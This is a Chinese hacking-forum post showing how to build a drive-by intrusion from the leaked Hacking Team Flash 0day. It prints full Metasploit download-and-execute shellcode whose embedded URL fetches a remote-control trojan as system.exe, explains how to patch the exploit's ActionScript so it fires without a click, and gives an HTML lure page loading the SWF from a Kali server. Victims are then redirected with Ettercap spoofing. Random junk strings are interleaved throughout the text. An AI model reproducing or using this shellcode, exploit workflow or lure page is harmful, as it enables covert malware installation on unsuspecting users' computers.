找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1685|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

% q z' R1 V( f7 J( w8 W9 n( b3 e' n 三、flash 0day之手工代码修改制作下载者实例入侵演示 & k, w8 h* n: Y& X) `% f

+ w+ R7 g) |' G! {9 s$ g

) R) W2 t( [' k( x3 j- ?! J% t; B0 c# E 利用到的工具: 7 C/ t+ q0 G/ w( o5 d2 p0 s4 R

* d) s6 j2 |+ ]

. C, y& j0 e* w, u Msf m2 D& P; o6 s

2 g; z1 |" ?0 X! Q5 N/ ^* `& V

6 q" P) \- B2 B Ettercap $ q/ r- T0 P3 E1 w) r

# q0 u2 i8 _" c+ _% i- \

8 c( @! r& D$ {& A Adobe Flash CS6 - i- M ]$ b6 \- X

, E+ I8 |. s* w8 |

0 h( f( r' V2 Q0 M$ d$ z Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 ! d8 w) z1 {" A3 E6 a" Q

3 `$ i U: F8 [- G# I

4 w* i& [& W( H+ f* {' N 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options O; |8 v4 u3 [( j7 k3 s

5 E+ d9 d- F$ W6 X# { F

( b9 M4 B0 S0 @. w, e) {1 J" ] 如图: , f& s2 Y! x- J$ b2 ?4 _

- C( N, j' X+ t

- K5 L x( e' h$ M/ i7 R2 S/ h4 i( ~   $ e$ n* Z: `1 ]5 m- F' }

# r# j% V( `: ?. G- ~. z

- t( Z$ X. e5 z0 ]   - x& P1 ^2 _8 B- y. U

! w3 c$ c3 j* \8 y" L

: G3 C- {9 Q# l4 m2 o 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 6 _, D- W# p' Z4 l

2 t7 w9 s( M$ t2 b6 Z

% E2 j: `7 }1 X+ H W% _ B   9 ?% F+ y4 H: g3 ]3 ~8 V6 B9 n

5 R+ _0 f. ?4 Z9 i3 `% @1 @

+ m- G4 t5 D' t& k7 O& U; C* o/ ~   2 P8 P+ Q* x$ L) c

! R: u3 d' N4 E3 Z' |

6 V) f" ~; E) y2 _) i 然后执行generate -t dword生成shellcode,如下: ; O3 g) v, z+ |+ Z4 U% q6 Z! d

& M- q7 S( K+ F7 J2 Y

( S! t7 N9 a- w) f! t* z5 ^   2 I/ @ I m! \

7 n) E, i, m+ G# g! u1 w4 G' b2 g

. Y. ?* E# _1 u5 r" { 复制代码到文本下便于我们一会编辑flash exp,如下: " X% F# y# I" J2 d" B2 y

7 n3 [/ B1 _. d* G4 [

. F: ~" m- q. J) h% w 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, + ~5 v7 k* t/ K" D

7 ~6 _5 w2 V) } R/ @1 {

& Q% b* I% z8 \8 l6 u+ B 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, K: e' T! c( V+ ^# {" v3 s4 }

7 M4 I. j( A+ x* s, l; j3 g) S

2 [. d* c2 x b& ?1 k 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, . I7 H9 x4 ]" x; O0 T% m

+ l* [* M- i& R

/ C9 |1 y6 ^9 u( V 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 6 u& ~/ ~, U) w. `# Q" i

m% V! O8 z6 D

, I+ q8 V1 z" R3 L, N 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, & n- P7 H) P3 W% o J

( O3 y9 L" S: n2 }# f9 e, N6 ?

# \1 }! V! \3 s1 l c 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ?4 |8 P+ q1 c3 \. [7 O

1 g- n9 o: k: i2 F. ?- j' n

0 D Q" |0 u3 G 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 6 v: E3 \6 I! V

' K" ]' H- P5 j7 o

+ V6 w* [. G3 o, }; j% Y 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, $ u8 B% ~7 y g$ j$ F$ d

: }$ z" P' O6 `4 h: @" v ?- P7 }8 j

4 T+ c: @, k; N 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ( A8 p8 b9 ?8 b; W

) x8 p2 Q# w; r i, V2 R

* ~* V v% I8 { M% i# }. M$ S6 J& | 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 0 n8 y5 r9 I: q+ [5 j: o: w

8 b5 x1 G" }( B& Z

0 O1 S7 D$ u0 s3 z& X( q% z 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 7 w8 k, i: h& I

6 R$ V7 s4 l2 B: [8 C

- W! m. I+ X6 Q* R; \ J! ~1 e 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 3 N4 m$ x: S% [" X) y( J; s; b( S

! R5 r- z5 k7 _ v# M8 L

8 @! T6 g: P0 y2 t7 _5 j s 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, * ^2 q5 j/ Q9 y! v* a# r

- [% r# Q# v# L* ~( U

) Z w& y, n: J 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ) D+ [0 p# v% d

1 w; c( A2 R3 X, [

( K5 D5 T- E( {8 m   # o" O# O& _1 a

8 o0 V; ?4 l5 @

/ z% k: n L r3 A, Y' \) v. K6 Z+ y   . A" w! l! H Q H% k5 a# J

8 b: ? u2 d" x4 h4 \8 T+ K

* Q i+ K5 {) R3 b6 S 下面我们来修改flash 0day exp,需要修改三个文件,分别为: ( n" k! G0 K, {/ x* F

6 y9 Y8 B: ~" c/ L$ C/ b% f

* l H5 z- o! U- q   % K4 F5 X8 {- }& y, ]1 n

& A4 E$ U* m4 M% J: e

1 S- _1 r q6 w7 ^$ Y 先修改ShellWin32.as,部分源代码如图: " Z8 L* p7 i5 F3 ]5 o( I# b

) G' a# G$ S# G+ X- r2 M, i. O9 f

& D5 q2 N4 h4 [) Q5 _% |0 @   ; P: X0 }' L' O* B) L, N* N, R; @- p

. i% d. ]' @% f& d. y

( v( a/ \& K) p. j/ Z0 x 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 3 { g8 Y! ^1 E0 h4 F6 Y

7 A$ a! S; Z* P, A2 F+ z

5 i3 Y( f% [. C/ P4 Z$ H   S5 Y! E* E* L2 b# t) O

' f' F# s9 |. ^6 e) d/ d7 r

. Q$ L+ K: q7 l6 m8 g% q 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 7 z; ?5 y9 g9 [/ N% s# q

4 B8 u+ j) C9 l+ ^+ ~3 {; Z- w

8 X" i+ v/ P: |' q! v- K, O   4 ?6 N! ?( R5 p# v" S2 ^; I6 w

4 Q q7 @7 N8 C/ s' M8 z8 `

' \3 a5 B7 R$ y4 i9 f# |' O 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: % f P: [: z2 f0 z, `1 w5 {

1 @3 H1 c& [5 z t5 F# ?6 J- w

5 Q3 u; P* O' m   0 z3 P* Y4 z- G

& p) ]# { `& @5 M( n3 b

# J/ T: [* u. x7 m" m& V4 {3 W: d   0 g2 c' u/ D6 \( D2 A5 k! @

3 o3 a4 `. K6 Z& }8 ]' O

6 t7 Q5 V+ @8 G   ( m. a( g4 [ x: @- e

! P; G, O4 J; y8 T

: ^1 N% p& @, \6 h; j8 k/ v 然后点保存,下面我们来编译一下,打开 ) g" W5 t1 y8 h6 r

% b1 `- t, O+ m

: S" D0 d- \1 U1 L exp1.fla然后点文件-发布,看看编译没错误 0 R. F! I# V( y% y+ t

, v$ E( j. j9 ?3 P

: u$ v. E6 I- f   X9 Y5 F# A3 D" w# Y E8 n: u

}" z+ F7 H, n4 k+ f4 Q& Q

; s. Z; {- @8 S( K% c+ [, i   4 q$ V6 X/ C& B+ D, K9 ?1 P& A

& P I6 s/ P3 v4 [3 ^% q

7 G U+ b3 K2 {4 E2 ~   7 ^7 N5 Q: ]- z5 D# e; K

5 N8 `: k, m% A/ |5 ]( Y% J

& ~9 }; `: ]5 V, P   / a O8 d3 Z3 `% L% y4 M

* B5 b y) }/ V. N# g/ p

( V/ x$ F5 M! L% u 然后我们把生成的 ( p8 W; T5 e5 V+ x2 p! j8 N

9 A& j& W+ n7 U& r$ W3 {* H* d

8 {; _( K/ K2 e1 [; d* ~' y exp1.swf丢到kailinux 的/var/www/html下: 3 S( m) p$ M }9 J

. o4 G1 g& L1 |' I8 G3 p! i8 S

! E E1 Z% n l; e% Y" o" N6 R: l 然后把这段代码好好编辑一下 5 ` M8 V& E& K1 r. B

' j8 r; h) |, Y& h

3 _/ G4 X- x, ]/ Z8 @   ! ?4 T! s0 Z) t

2 Q( q" P: X& C2 c- K5 l

+ m; a: x* X& B% r& a' R6 o   . S* Z2 p2 `+ e

) J$ X* N3 g( N$ E# {

: b# o4 R9 h" y( @) p   , N5 U! E3 ^9 S+ m7 T

" ^1 O' h0 Q1 }+ L7 n {

' q; N& R( u I+ ~. X   8 R4 E1 B5 U4 R2 o g

: P @! f/ N6 Y0 b0 c8 ~" a) p

% V D& R3 Q4 c: b9 q4 R4 a   : u4 E* p$ M" G$ w& N, ?, d

6 b, J" }) d2 i& m- ], ]

# M) r: I" _5 u6 |   ' [& [2 L& Q7 `. ^/ O3 v

- [1 _1 f7 ]5 x% K: b- p. ~# Q

* @: D* U) P$ H; B0 V, g <!DOCTYPE html> 9 y- D* m, D5 Y, t

3 f6 U( _; M; C3 \. q* r+ h, B

3 k8 p$ J: I0 G7 Z <html> # ^, x. }* t7 l4 Y! N9 K7 C) d! `

" a: y: N/ G1 L$ x( `1 t

0 ]/ k# ?; W8 i& | <head> / A/ t8 c5 E$ c: X

* J! j' N( v5 `

, O G9 x& l3 x" P9 d3 M <meta http-equiv="Content-Type" content="text/html; 0 [. ~; C% q: X, ]4 R* w

. h) k# t$ p$ [: g& T

* a( G ]9 h2 E' k5 ~: J) ] charset=utf-8"/> 9 l5 X$ o) o3 p$ S$ a; q& M2 L

* D" D$ M# Z6 k% S9 _

! n8 z$ F1 M7 H) E1 W8 M8 w </head> , W) |) Y$ U8 Z% z

& L8 W) ?# R8 Q; ~

# u+ }% @3 h- F) R <body> # X& L, F; W) _2 M U: ~3 C" t

/ O! z- P5 j% L' J8 z! Q

/ X# k9 N. v- L( G <h2> Please wait, the requested page is loading...</h2> ! w# K! s6 G' |2 N, Y& T) n/ M

6 @. f8 V- L4 U8 D" s, ~! z

- W! h7 g1 q& }: h, a& T3 z4 A! I <br> 6 v+ }" C n- j/ a5 l

9 Q: Z0 o. M: v$ m' k, l

1 G' t# w$ G4 k8 G! k3 \5 Q <OBJECT ! E( R; ^, ~1 F0 _' w

( V2 R$ e5 Y$ u/ t% N, `% j

+ @) Y8 J6 ]0 I- I classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie + [' a1 z, E7 p3 p7 ]9 [9 S

* b+ N# p; h$ s$ e9 N

# H& t) @& {: X g+ G" R; i VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 5 k4 e* Q! }7 B7 Y0 p

/ C j# ~( ?1 Q/ \( }+ U

! g( ]5 H$ H' H$ P2 U, }1 b </body> 5 ^. \+ n3 v/ v# p; X) b9 J

0 Q9 Y8 l. d" R4 G

+ n! v, ]7 {: L' m2 G <script> $ P8 @" O" g0 x! J8 Z" J

6 l- ~/ {8 ]/ W, K

9 R I6 n. f# f) q" i# o u     setTimeout(function () { l- a- v8 o' g3 m7 L6 \4 Q

; H2 p* f8 a. V0 g2 \% v

8 }* z, h0 w0 N9 P6 {          3 q# o6 b& g1 o% @ M ?

- h z1 X& i. z+ T

8 @' _7 D3 \* i$ q: X0 ?9 s/ H/ [ window.location.reload(); % J$ g+ n3 T5 x' j

/ W9 I3 }+ ]2 r; @9 ~2 I

0 @. h- s- U+ l4 A" [* N     }, 10000); 8 b6 L/ w% d, b x# K7 |& h

2 w( J0 O( H+ d9 {

" J" k# ?; P+ y! L r5 k% s4 K! y! _ B; q   x2 N7 ]6 y$ \* P( Y/ ^

% }, [9 K4 U: J; c9 `

* h$ W+ A% x7 Y9 C </script> % K% p! _1 \" C

2 H% C, r: a3 N) m

9 F3 J3 P% ~4 l* m+ t. [+ T </html> ! H; u9 E0 p1 h! c

2 `* C3 I; u6 f6 b1 n

; t6 V# g: Z! b6 Q   : K7 b- d9 x! ?% D

$ |$ ~/ x0 V4 Z: x' z

V! X: V% b3 ~' k {7 p8 K" f 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: $ |. H) N4 ]& k' U0 M

/ e# B7 K; r* }7 x3 K

5 u4 d, ^$ ]) E! F9 J+ h   & C" \/ y& [' p K% h

& D( Z) H1 N( a; u3 G( I6 j

( j% r/ T6 @# X2 ?* Y   ; H( h: Z0 T0 l5 v+ E

* s- H( a) e/ H1 W, r) X

& n" O# D' B }9 h3 U, j* @0 L" c   # W* u N. h6 [' s$ t. }

* f/ Z" j# q4 g( l/ a b/ ^

" G5 h+ { p' Z; z9 `   4 {9 T' M# T+ S7 d. [

; N1 W: A5 \. k8 O7 }# \

# D- o3 M" E8 k* o+ ^$ {. S) J: f1 i   / C5 [% x% e& u6 |

/ n5 B- d& P* u; i9 w, l1 `4 p

2 F1 _7 t# r, \& h/ D1 q& L4 q% y 下面我们用ettercap欺骗如图: + J: o, v6 Z# z3 d9 `

" `# t( z! }7 B' G5 y G$ {

% t. v+ ~' L, ~' _$ ?: z* K# R   0 {! u& G; j5 z% Z# w

- l: w+ j1 |# B) s E# b

2 o# T5 N+ L' h2 G6 |: E$ l) v$ Y, C   9 @4 M. p$ U1 R5 Q0 h

+ N$ N. B. ]9 i, W, B" Y( T0 [

# K1 V- c+ F" D 下面我们随便访问个网站看看: 7 n1 f4 F( i, t' z6 b7 R0 ~9 e9 i

K; n0 O6 s8 R$ q: }- X6 D) ~5 B- c. Z

' z. r; A( s+ {# @& u: O9 F 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: |8 K/ T6 y8 q' e# n

! K2 C0 a! j4 y/ ^& z& M

$ c. Y4 t1 O) H   + e$ G# u% Z3 r9 J% Y) {; c) v: u( @1 v

% m2 S1 E4 ^) N& R6 @/ m

# D% R3 d% A; J5 C' [" W/ f 我们看另一台, ; u6 [. N1 m2 Q6 y5 e+ E

6 E W6 i5 A; E3 e$ u

- K+ [' B5 y, r& Y7 d% ?* Z 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 ! g& d! q, V; l' M( K

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表